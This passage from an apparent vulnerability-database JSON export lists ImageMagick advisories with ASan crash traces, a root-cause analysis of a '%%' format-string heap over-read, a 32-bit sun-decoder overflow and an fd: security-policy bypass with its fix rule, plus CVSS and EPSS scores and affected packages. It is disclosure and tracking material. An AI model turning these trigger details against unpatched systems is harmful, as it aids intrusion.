MagickCore/memory.c:559\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename\nShadow bytes around the buggy address:\n  0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa\n  0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa\n  0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa\n  0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa\n  0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04\n=>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa\n  0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==2227694==ABORTING\n```\n\n## Root Cause Analysis\nThe first command line argument is interpreted as `MagickImageCommand`:\nhttps://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83\n```c\nconst CommandInfo\n  MagickCommands[] =\n  {\n    MagickCommandSize(\"magick\", MagickFalse, MagickImageCommand),\n```\n\nIt is invoked here:\nhttps://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220\n```c\nstatus=command(image_info,argc,argv,&text,exception);\n```\n\nThe execution then follows this path:\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L1387\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L586\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L419\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5391\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5473\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L4959\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1009\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1039\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1649\n- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1674\n\nThe execution eventually reaches `InterpretImageFilename` and enters a loop. The `format` variable here is `\"%%\"`. At this point, it is safe to access `*(format + 2)` but not safe to access `*(format + 3)`.\n\n```c\nfor (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%'))\n{\n  q=(char *) p+1;\n  if (*q == '%')\n    {\n      p=q+1;\n      continue;\n    }\n```\n\nThe first `strchr` call returns a pointer equal to `format` and assigns it to `p`. Then `q` is initialized with `p + 1` (`format + 1`), and `*q` is `'%'`, so the code enters the if branch. Here, `p` is reassigned to `q + 1` (`format + 2`).\n\nIn the next iteration, `p + 1` (`format + 3`) is passed to `strchr`, and when `strchr` accesses it, this causes an out-of-bounds read.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53014.json","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53014.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53014","reference_id":"","reference_type":"","scores":[{"value":"0.00051","scoring_system":"epss","scoring_elements":"0.15795","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00051","scoring_system":"epss","scoring_elements":"0.1571","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00051","scoring_system":"epss","scoring_elements":"0.1591","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00051","scoring_system":"epss","scoring_elements":"0.15844","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17525","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17768","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17786","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.1774","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17693","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17639","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17647","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17685","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17596","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17573","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53014"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53014","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53014"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick6/commit/79b6ed03770781d996d1710b89fbb887e5ea758a","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick6/commit/79b6ed03770781d996d1710b89fbb887e5ea758a"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/29d82726c7ec20c07c49ba263bdcea16c2618e03","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/29d82726c7ec20c07c49ba263bdcea16c2618e03"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hm4x-r5hc-794f","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-14T18:26:03Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hm4x-r5hc-794f"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53014","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53014"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339","reference_id":"1109339","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379941","reference_id":"2379941","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379941"},{"reference_url":"https://github.com/advisories/GHSA-hm4x-r5hc-794f","reference_id":"GHSA-hm4x-r5hc-794f","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-hm4x-r5hc-794f"},{"reference_url":"https://usn.ubuntu.com/7728-1/","reference_id":"USN-7728-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7728-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570675?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.7.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-a2qm-vkc3-qkd5"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-ef36-52cx-dfg5"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-r889-wzc7-1yem"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-uwj5-1fkf-7qg9"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vbdt-31wd-v3h8"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.7.0"}],"aliases":["CVE-2025-53014","GHSA-hm4x-r5hc-794f"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-5s8n-dfjf-ruey"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21069?format=json","vulnerability_id":"VCID-5uyd-bv33-h7g1","summary":"ImageMagick: Heap overflow in sun decoder on 32-bit systems may result in out of bounds write\nAn Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write.\n\n```\n=================================================================\n==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0\nWRITE of size 1 at 0xf190b50e thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25897.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25897.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25897","reference_id":"","reference_type":"","scores":[{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.0608","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.06044","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.06013","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00022","scoring_system":"epss","scoring_elements":"0.06084","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19295","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.1929","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19237","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19158","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.1939","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19441","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19162","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19153","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19194","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00062","scoring_system":"epss","scoring_elements":"0.19248","published_at":"2026-04-12T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25897"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25897","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25897"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/23fde73188ea32c15b607571775d4f92bdb75e60","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/23fde73188ea32c15b607571775d4f92bdb75e60"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6j5f-24fw-pqp4","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:23:43Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6j5f-24fw-pqp4"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25897","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25897"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442098","reference_id":"2442098","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442098"},{"reference_url":"https://github.com/advisories/GHSA-6j5f-24fw-pqp4","reference_id":"GHSA-6j5f-24fw-pqp4","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-6j5f-24fw-pqp4"},{"reference_url":"https://usn.ubuntu.com/8069-1/","reference_id":"USN-8069-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8069-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25897","GHSA-6j5f-24fw-pqp4"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-5uyd-bv33-h7g1"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20865?format=json","vulnerability_id":"VCID-5xqd-gf3b-4ygw","summary":"ImageMagick's Security Policy Bypass through config/policy-secure.xml via \"fd handler\" leads to stdin/stdout access\nThe shipped “secure” security policy includes a rule intended to prevent reading/writing from standard streams:\n\n```xml\n<policy domain=\"path\" rights=\"none\" pattern=\"-\"/>\n```\n\nHowever, ImageMagick also supports fd:<n> pseudo-filenames (e.g., fd:0, fd:1). This path form is not blocked by the secure policy templates, and therefore bypasses the protection goal of “no stdin/stdout”.\n\nTo resolve this, users can add the following change to their security policy.\n\n```xml\n<policy domain=\"path\" rights=\"none\" pattern=\"fd:*\"/>\n```\n\nAnd this will also be included in ImageMagick's more secure policies by default.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25966.json","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25966.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25966","reference_id":"","reference_type":"","scores":[{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03335","published_at":"2026-04-02T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00351","published_at":"2026-04-26T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00352","published_at":"2026-04-24T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00332","published_at":"2026-04-18T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00328","published_at":"2026-04-16T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00334","published_at":"2026-04-13T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00337","published_at":"2026-04-12T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00338","published_at":"2026-04-11T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.0034","published_at":"2026-04-09T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00342","published_at":"2026-04-07T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00355","published_at":"2026-04-04T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00347","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25966"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/8d4c67a90ae458fb36393a05c0069e9123ac174c","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/8d4c67a90ae458fb36393a05c0069e9123ac174c"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xwc6-v6g8-pw2h","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xwc6-v6g8-pw2h"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25966","reference_id":"","reference_type":"","scores":[{"value":"5.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25966"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442122","reference_id":"2442122","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442122"},{"reference_url":"https://github.com/advisories/GHSA-xwc6-v6g8-pw2h","reference_id":"GHSA-xwc6-v6g8-pw2h","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-xwc6-v6g8-pw2h"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-b